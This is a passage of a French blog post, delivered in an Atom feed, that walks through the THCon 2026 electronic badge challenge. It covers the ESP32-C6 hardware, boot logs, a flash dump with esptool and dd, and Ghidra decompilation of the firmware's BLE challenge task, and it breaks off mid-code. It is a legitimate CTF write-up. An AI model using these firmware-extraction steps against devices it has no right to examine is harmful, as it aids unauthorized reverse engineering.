<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom"><title>virtualabs.fr</title><link href="https://virtualabs.fr/" rel="alternate"/><link href="https://virtualabs.fr/feeds/all.atom.xml" rel="self"/><id>https://virtualabs.fr/</id><updated>2026-05-13T08:00:00+02:00</updated><entry><title>Write-up du challenge du badge THCon 2026</title><link href="https://virtualabs.fr/geekeries/thcon26-badge-writeup" rel="alternate"/><published>2026-05-13T08:00:00+02:00</published><updated>2026-05-13T08:00:00+02:00</updated><author><name>Damien Cauquil</name></author><id>tag:virtualabs.fr,2026-05-13:/geekeries/thcon26-badge-writeup</id><summary type="html">&lt;p&gt;J'ai participé la semaine dernière à la &lt;a class="reference external" href="https://thcon.party"&gt;Toulouse Hacking Convention&lt;/a&gt; qui se tenait à Toulouse
du 5 au 6 mai, car j'intervenais notamment en tant que confériencer aux côtés d'Axelle Apvrille afin de présenter un
sujet commun et ô combien d'actualité: l'impact de l'intelligence artificielle sur les compétitions de type …&lt;/p&gt;</summary><content type="html">&lt;p&gt;J'ai participé la semaine dernière à la &lt;a class="reference external" href="https://thcon.party"&gt;Toulouse Hacking Convention&lt;/a&gt; qui se tenait à Toulouse
du 5 au 6 mai, car j'intervenais notamment en tant que confériencer aux côtés d'Axelle Apvrille afin de présenter un
sujet commun et ô combien d'actualité: l'impact de l'intelligence artificielle sur les compétitions de type &lt;em&gt;Capture
the Flag&lt;/em&gt; (CTF) dans le domain de la cybersécurité. &lt;a class="reference external" href="https://cryptax.github.io/posts/ctf-ai/"&gt;Axelle a publié sur son blog un résumé très complet&lt;/a&gt;
des problématiques que nous avons exposé et des solutions envisagées dans un futur proche, qui vaut vraiment le coup d'être lu.
Notre talk s'est bien passé et a permis de longues discussions avec des participants à la conférence sur ce délicat sujet,
certains détaillant leur approche des CTFs et d'autres pointant du doigt certaines positions mentionnées dans notre présentation
qui les dérangeaient, ce qui ne manquera pas de faire mûrir notre réflexion.&lt;/p&gt;
&lt;p&gt;Mais cette conférence a pris un tournant très intéressant durant la matinée de sa seconde journée, un badge électronique nous ayant
été remis par le staff lors de notre arrivée, en complément du badge plastifié que nous avions récupéré la veille. Ce badge électronique
héberge un challenge propre à la THCon, mais peut aussi être flashé avec d'autres challenges disponibles en ligne. Le badge a été conçu
par &lt;a class="reference external" href="https://dvid.eu"&gt;DVID&lt;/a&gt;, comme l'atteste le logo présent sur la sérigraphie du circuit imprimé, et il semblerait qu'il soit
interactif. Durant le talk d'ouverture, nos badges se sont mis à clignoter de différentes couleurs tandis que les organisateurs indiquaient
qu'ils voyaient que les badges fonctionnaient bien, au vu des nombreuses LED qui s'illuminaient dans la salle. Je n'ai donc
pas résisté à la tentation de jeter un œil au micrologiciel, avec dans l'idée de trouver potentiellement un &lt;em&gt;flag&lt;/em&gt; voire d'en prendre
le contrôle.&lt;/p&gt;
&lt;img alt="Badge THCon 2026" src="/images/2026-05-11/thcon-badge.jpg" /&gt;
&lt;div class="section" id="decouverte-du-badge"&gt;
&lt;h2&gt;Découverte du badge&lt;/h2&gt;
&lt;p&gt;Le badge est conçu autour d'un module &lt;a class="reference external" href="https://documentation.espressif.com/esp32-c6-wroom-1_wroom-1u_datasheet_en.pdf"&gt;ESP32-C6-WROOM-1&lt;/a&gt;
avec 8 Mio de mémoire Flash. Il possède un écran OLED reposant sur un contrôleur &lt;em&gt;SSD1306&lt;/em&gt;, une &lt;a class="reference external" href="https://cdn-shop.adafruit.com/datasheets/WS2812.pdf"&gt;LED RGB adressable WS2812&lt;/a&gt; reliée à la
pin 11 (d'après la sérigraphie), une EEPROM &lt;a class="reference external" href="https://ww1.microchip.com/downloads/en/devicedoc/atmel-8787-seeprom-at24c04c-08c-datasheet.pdf"&gt;ATC24C04&lt;/a&gt;
et un connecteur &lt;a class="reference external" href="https://hackaday.com/2019/03/20/introducing-the-shitty-add-on-v1-69bis-standard/"&gt;Shitty Add-On (SAO)&lt;/a&gt;. Il est alimenté par
une batterie mono-cellulaire de 3.7 volts, gérée par un contrôleur de charge &lt;a class="reference external" href="https://www.umw-ic.com/static/pdf/493f603e988f83ce21e556bca0c516fd.pdf"&gt;TP4056&lt;/a&gt;.
L'interface série accessible via le connecteur USB-C est quant à elle gérée par un contrôleur &lt;a class="reference external" href="https://www.wch-ic.com/downloads/CH340DS1_PDF.html"&gt;CH340C&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;La connexion au badge via le port USB-C donne le résultat attendu: le port série de l'ESP32 est bien interfacé (par défaut à 115200 bauds), et un
appui sur le bouton &lt;em&gt;RESET&lt;/em&gt; produit la réception de la trace suivante:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;ESP-ROM:esp32c6-20220919
Build:Sep 19 2022
rst:0x1 (POWERON),boot:0xc (SPI_FAST_FLASH_BOOT)
SPIWP:0xee
mode:DIO, clock div:2
load:0x40875730,len:0x1648
load:0x4086b910,len:0xd60
load:0x4086e610,len:0x31c8
entry 0x4086b91a
I (23) boot: ESP-IDF v6.1-dev-4103-g96194f19a6 2nd stage bootloader
I (24) boot: compile time May  3 2026 20:12:03
I (24) boot: chip revision: v0.2
I (25) boot: efuse block revision: v0.3
I (29) boot.esp32c6: SPI Speed      : 80MHz
I (33) boot.esp32c6: SPI Mode       : DIO
I (36) boot.esp32c6: SPI Flash Size : 2MB
I (40) boot: Enabling RNG early entropy source...
I (45) boot: Partition Table:
I (47) boot: ## Label            Usage          Type ST Offset   Length
I (54) boot:  0 nvs              WiFi data        01 02 00009000 00006000
I (60) boot:  1 phy_init         RF data          01 01 0000f000 00001000
I (67) boot:  2 factory          factory app      00 00 00010000 00100000
I (73) boot: End of partition table
I (76) esp_image: segment 0: paddr=00010020 vaddr=42078020 size=13818h ( 79896) map
I (99) esp_image: segment 1: paddr=00023840 vaddr=40800000 size=047d8h ( 18392) load
I (103) esp_image: segment 2: paddr=00028020 vaddr=42000020 size=74914h (477460) map
I (194) esp_image: segment 3: paddr=0009c93c vaddr=408047d8 size=0ebe4h ( 60388) load
I (207) esp_image: segment 4: paddr=000ab528 vaddr=408133c0 size=028bch ( 10428) load
I (214) boot: Loaded app from partition at offset 0x10000
I (215) boot: Disabling RNG early entropy source...
I (225) cpu_start: Unicore app
I (233) cpu_start: GPIO 17 and 16 are used as console UART I/O pins
I (233) cpu_start: Pro cpu start user code
I (234) cpu_start: cpu freq: 160000000 Hz
I (235) app_init: Application information:
I (239) app_init: Project name:     esp32c6_oled
I (244) app_init: App version:      05e99fa-dirty
I (248) app_init: Compile time:     May  3 2026 20:11:43
I (253) app_init: ELF file SHA256:  61148e412...
I (257) app_init: ESP-IDF:          v6.1-dev-4103-g96194f19a6
I (263) efuse_init: Min chip rev:     v0.0
I (267) efuse_init: Max chip rev:     v0.99
I (271) efuse_init: Chip rev:         v0.2
I (274) heap_init: Initializing. RAM available for dynamic allocation:
I (281) heap_init: At 408175F0 len 00065020 (404 KiB): RAM
I (286) heap_init: At 4087C610 len 00002F54 (11 KiB): RAM
I (291) heap_init: At 50000000 len 00003FE8 (15 KiB): RTCRAM
I (297) spi_flash: detected chip: generic
I (300) spi_flash: flash io: dio
W (303) spi_flash: Detected size(8192k) larger than the size in the binary image header(2048k). Using the size in the binary image header.
I (316) sleep_gpio: Configure to isolate all GPIO pins in sleep state
I (322) sleep_gpio: Enable automatic switching of GPIO sleep configuration
I (328) coexist: coex firmware version: b00e8cb
I (332) coexist: coexist rom version 5b8dcfa
I (337) main_task: Started on CPU0
I (337) main_task: Calling app_main()
I (2377) BLE_INIT: Using main XTAL as clock source, chip ver: 2
I (2377) BLE_INIT: ble controller commit:[c9fbba6]
I (2377) BLE_INIT: Bluetooth MAC: ac:eb:e6:0e:5b:fe
I (2377) phy_init: phy_version 343,b513b46,Nov 14 2025,16:34:12
I (2447) phy: libbtbb version: c493933, Nov 14 2025, 16:34:25
I (2447) NimBLE: GAP procedure initiated: stop advertising.

I (2457) NimBLE: GAP procedure initiated: discovery;
I (2457) NimBLE: own_addr_type=0 filter_policy=0 passive=1 limited=0 filter_duplicates=0
I (2457) NimBLE: duration=forever
I (2457) NimBLE:
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Cette trace est très instructive, car on peut noter que le micrologiciel a été compilé le 3 mai 2026 à 20h11 en utilisant
la version 6.1 du &lt;em&gt;SDK&lt;/em&gt; &lt;a class="reference external" href="https://docs.espressif.com/projects/esp-idf/en/stable/esp32/get-started/index.html"&gt;ESP-IDF&lt;/a&gt;
d'Espressif. De plus, il utilise une pile protocolaire Bluetooth Low Energy &lt;em&gt;NimBLE&lt;/em&gt; pour découvrir les équipements BLE
présents dans les environs.&lt;/p&gt;
&lt;p&gt;Je fais alors l'hypothèse que le badge communique avec un autre équipement qui s'annonce en BLE et qui déclenche potentiellement
différents comportements. La seule manière d'en avoir le cœur net: extraire le micrologiciel et l'analyser.&lt;/p&gt;
&lt;/div&gt;
&lt;div class="section" id="extraction-du-micrologiciel"&gt;
&lt;h2&gt;Extraction du micrologiciel&lt;/h2&gt;
&lt;p&gt;L'extraction du micrologiciel d'un module ESP32, si ce dernier n'est pas protégé, est relativement triviale. Le programme &lt;em&gt;esptool&lt;/em&gt;
permet d'extraire le contenu de la mémoire Flash intégrée au module, ce dernier étant présent dans le &lt;em&gt;SDK&lt;/em&gt; mais aussi sur la grande
majorité des distributions Linux en tant que paquet officiel. Pour ma part, je l'ai installé au travers du paquet Debian correspondant.
La mémoire Flash du module faisant théoriquement 2 Mio (en réalité 8 Mio, mais seuls 2 Mio sont utilisés), l'extraction se passe sans
encombre:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$&lt;span class="w"&gt; &lt;/span&gt;esptool.py&lt;span class="w"&gt; &lt;/span&gt;read_flash&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;0x200000&lt;span class="w"&gt; &lt;/span&gt;thcon-badge-flash.bin
esptool.py&lt;span class="w"&gt; &lt;/span&gt;v4.10.0
Found&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;5&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;serial&lt;span class="w"&gt; &lt;/span&gt;ports
Serial&lt;span class="w"&gt; &lt;/span&gt;port&lt;span class="w"&gt; &lt;/span&gt;/dev/ttyUSB0
Connecting....
Detecting&lt;span class="w"&gt; &lt;/span&gt;chip&lt;span class="w"&gt; &lt;/span&gt;type...&lt;span class="w"&gt; &lt;/span&gt;ESP32-C6
Chip&lt;span class="w"&gt; &lt;/span&gt;is&lt;span class="w"&gt; &lt;/span&gt;ESP32-C6&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;QFN40&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;revision&lt;span class="w"&gt; &lt;/span&gt;v0.2&lt;span class="o"&gt;)&lt;/span&gt;
Features:&lt;span class="w"&gt; &lt;/span&gt;WiFi&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;6&lt;/span&gt;,&lt;span class="w"&gt; &lt;/span&gt;BT&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;5&lt;/span&gt;,&lt;span class="w"&gt; &lt;/span&gt;IEEE802.15.4
Crystal&lt;span class="w"&gt; &lt;/span&gt;is&lt;span class="w"&gt; &lt;/span&gt;40MHz
MAC:&lt;span class="w"&gt; &lt;/span&gt;ac:eb:e6:ff:fe:0e:5b:fc
BASE&lt;span class="w"&gt; &lt;/span&gt;MAC:&lt;span class="w"&gt; &lt;/span&gt;ac:eb:e6:0e:5b:fc
MAC_EXT:&lt;span class="w"&gt; &lt;/span&gt;ff:fe
Uploading&lt;span class="w"&gt; &lt;/span&gt;stub...
Running&lt;span class="w"&gt; &lt;/span&gt;stub...
Stub&lt;span class="w"&gt; &lt;/span&gt;running...
Configuring&lt;span class="w"&gt; &lt;/span&gt;flash&lt;span class="w"&gt; &lt;/span&gt;size...
&lt;span class="m"&gt;2097152&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="m"&gt;100&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;%&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="m"&gt;2097152&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="m"&gt;100&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;%&lt;span class="o"&gt;)&lt;/span&gt;
Read&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;2097152&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;bytes&lt;span class="w"&gt; &lt;/span&gt;at&lt;span class="w"&gt; &lt;/span&gt;0x00000000&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;186&lt;/span&gt;.8&lt;span class="w"&gt; &lt;/span&gt;seconds&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="m"&gt;89&lt;/span&gt;.8&lt;span class="w"&gt; &lt;/span&gt;kbit/s&lt;span class="o"&gt;)&lt;/span&gt;...
Hard&lt;span class="w"&gt; &lt;/span&gt;resetting&lt;span class="w"&gt; &lt;/span&gt;via&lt;span class="w"&gt; &lt;/span&gt;RTS&lt;span class="w"&gt; &lt;/span&gt;pin...
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Une rapide recherche dans les chaînes de caractères du dump montre que
ce dernier semble être correct (textes affichés sur l'écran du badge):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$&lt;span class="w"&gt; &lt;/span&gt;strings&lt;span class="w"&gt; &lt;/span&gt;thcon-badge-flash.bin&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;egrep&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;(Challenge|Baptiste)&amp;quot;&lt;/span&gt;
Challenge&lt;span class="w"&gt; &lt;/span&gt;creator&lt;span class="w"&gt; &lt;/span&gt;:
Baptiste&lt;span class="w"&gt; &lt;/span&gt;Rebillard
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class="section" id="desassemblage-et-decompilation-avec-ghidra"&gt;
&lt;h2&gt;Désassemblage et décompilation avec Ghidra&lt;/h2&gt;
&lt;p&gt;D'après la trace de démarrage, l'application exécutée par l'ESP32
est placée à l'offset 0x10000 dans la mémoire Flash:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;I (45) boot: Partition Table:
I (47) boot: ## Label            Usage          Type ST Offset   Length
I (54) boot:  0 nvs              WiFi data        01 02 00009000 00006000
I (60) boot:  1 phy_init         RF data          01 01 0000f000 00001000
I (67) boot:  2 factory          factory app      00 00 00010000 00100000
I (73) boot: End of partition table
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;J'ai donc extrait le contenu de la Flash à cette adresse, qui correspond
à l'image ESP32 du programme principal, et ai utilisé &lt;em&gt;esptool&lt;/em&gt; pour
lire cette image et afficher le détail des différents segments mémoire:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$&lt;span class="w"&gt; &lt;/span&gt;dd&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;thcon-badge-flash.bin&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;of&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;thcon-badge-app.bin&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;bs&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;65536&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;skip&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;
$&lt;span class="w"&gt; &lt;/span&gt;esptool&lt;span class="w"&gt; &lt;/span&gt;image_info&lt;span class="w"&gt; &lt;/span&gt;thcon-badge-app.bin
esptool.py&lt;span class="w"&gt; &lt;/span&gt;v4.10.0
File&lt;span class="w"&gt; &lt;/span&gt;size:&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;2031616&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;bytes&lt;span class="o"&gt;)&lt;/span&gt;
Detected&lt;span class="w"&gt; &lt;/span&gt;image&lt;span class="w"&gt; &lt;/span&gt;type:&lt;span class="w"&gt; &lt;/span&gt;ESP32-C6
Image&lt;span class="w"&gt; &lt;/span&gt;version:&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;
Entry&lt;span class="w"&gt; &lt;/span&gt;point:&lt;span class="w"&gt; &lt;/span&gt;408005a8
&lt;span class="m"&gt;5&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;segments

Segment&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;:&lt;span class="w"&gt; &lt;/span&gt;len&lt;span class="w"&gt; &lt;/span&gt;0x13818&lt;span class="w"&gt; &lt;/span&gt;load&lt;span class="w"&gt; &lt;/span&gt;0x42078020&lt;span class="w"&gt; &lt;/span&gt;file_offs&lt;span class="w"&gt; &lt;/span&gt;0x00000018&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;DROM,IROM&lt;span class="o"&gt;]&lt;/span&gt;
Segment&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt;:&lt;span class="w"&gt; &lt;/span&gt;len&lt;span class="w"&gt; &lt;/span&gt;0x047d8&lt;span class="w"&gt; &lt;/span&gt;load&lt;span class="w"&gt; &lt;/span&gt;0x40800000&lt;span class="w"&gt; &lt;/span&gt;file_offs&lt;span class="w"&gt; &lt;/span&gt;0x00013838&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;DRAM,BYTE_ACCESSIBLE,IRAM&lt;span class="o"&gt;]&lt;/span&gt;
Segment&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;3&lt;/span&gt;:&lt;span class="w"&gt; &lt;/span&gt;len&lt;span class="w"&gt; &lt;/span&gt;0x74914&lt;span class="w"&gt; &lt;/span&gt;load&lt;span class="w"&gt; &lt;/span&gt;0x42000020&lt;span class="w"&gt; &lt;/span&gt;file_offs&lt;span class="w"&gt; &lt;/span&gt;0x00018018&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;DROM,IROM&lt;span class="o"&gt;]&lt;/span&gt;
Segment&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;4&lt;/span&gt;:&lt;span class="w"&gt; &lt;/span&gt;len&lt;span class="w"&gt; &lt;/span&gt;0x0ebe4&lt;span class="w"&gt; &lt;/span&gt;load&lt;span class="w"&gt; &lt;/span&gt;0x408047d8&lt;span class="w"&gt; &lt;/span&gt;file_offs&lt;span class="w"&gt; &lt;/span&gt;0x0008c934&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;DRAM,BYTE_ACCESSIBLE,IRAM&lt;span class="o"&gt;]&lt;/span&gt;
Segment&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;5&lt;/span&gt;:&lt;span class="w"&gt; &lt;/span&gt;len&lt;span class="w"&gt; &lt;/span&gt;0x028bc&lt;span class="w"&gt; &lt;/span&gt;load&lt;span class="w"&gt; &lt;/span&gt;0x408133c0&lt;span class="w"&gt; &lt;/span&gt;file_offs&lt;span class="w"&gt; &lt;/span&gt;0x0009b520&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;DRAM,BYTE_ACCESSIBLE,IRAM&lt;span class="o"&gt;]&lt;/span&gt;
Checksum:&lt;span class="w"&gt; &lt;/span&gt;ee&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;valid&lt;span class="o"&gt;)&lt;/span&gt;
Validation&lt;span class="w"&gt; &lt;/span&gt;Hash:&lt;span class="w"&gt; &lt;/span&gt;32cda12be51dcd11bca6f738f4f0a9a92b797be8c1579ba9873b05eee5d34b5b&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;valid&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;N'ayant pas trouvé de &lt;em&gt;loader&lt;/em&gt; adapté pour Ghidra, j'ai ensuite chargé
le contenu des différents segments dans un projets Ghidra configuré pour
un CPU RISC-V 32-bit LE, qui correspond à l'architecture utilisé par l'ESP32-C6.
Le segment 3 contient le code principal de l'application, mais il semble que ce dernier
doit être ajusté avec un offset de 8 octets pour que les références croisées soient
correctes. Aucune idée si cela est dû au format d'image, toujours est-il que cet ajustement
m'a permis assez rapidement d'avoir du code cohérent, avec des références aux variables
qui pointent sur les bonnes adresses mémoire.&lt;/p&gt;
&lt;p&gt;Le code principal de l'application devient dès lors facilement identifiable à l'adresse &lt;cite&gt;0x4200f684&lt;/cite&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;app_main&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="cm"&gt;/* Code d&amp;#39;initialisation (supprimé par souci de clarté) */&lt;/span&gt;

&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="cm"&gt;/* Affichage des infos de boot (&amp;quot;THCon 2026 x DVID&amp;quot;, nom de l&amp;#39;auteur) */&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;oled_print_text&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mh"&gt;0x1c&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;s_THCON_x_DVID_ram_4207be24&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;oled_print_text&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;s_Challenge_creator_&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="n"&gt;_ram_4207be34&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;oled_print_text&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;s_Baptiste_Rebillard_ram_4207be48&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;FUN_ov1__4200f528&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="cm"&gt;/* Attente de 200ms. */&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;esp_delay_ms&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;200&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="cm"&gt;/* Initialisation du contrôleur de LED RGB WS2812. */&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;chall_init_ws2812&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="cm"&gt;/* Création de la tâche FreeRTOS en charge du challenge BLE. */&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;chall_start_ble_task&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="cm"&gt;/* Boucle principale affichant en boucle les logos. */&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;do&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;oled_show_thcon_logo&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;esp_delay_ms&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;500&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;oled_show_astar_logo&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;esp_delay_ms&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;500&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;while&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;true&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Le programme principal démarre une tâche FreeRTOS qui est en charge
de gérer des événements liés au protocole BLE, puis affiche de manière
alternée les logos de la THCon et de son sponsor &lt;em&gt;Astar&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;La partie intéressante se trouve donc dans cette tâche FreeRTOS:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;chall_start_ble_task&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;_DAT_ram_408172c4&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;xTimerCreate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;s_led_tmr_ram_4207bdb8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="mi"&gt;200&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;chall_rgb_led_update&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;_DAT_ram_408172c0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;xTimerCreate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;s_bcast_tmr_ram_4207bdc0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="mi"&gt;50&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
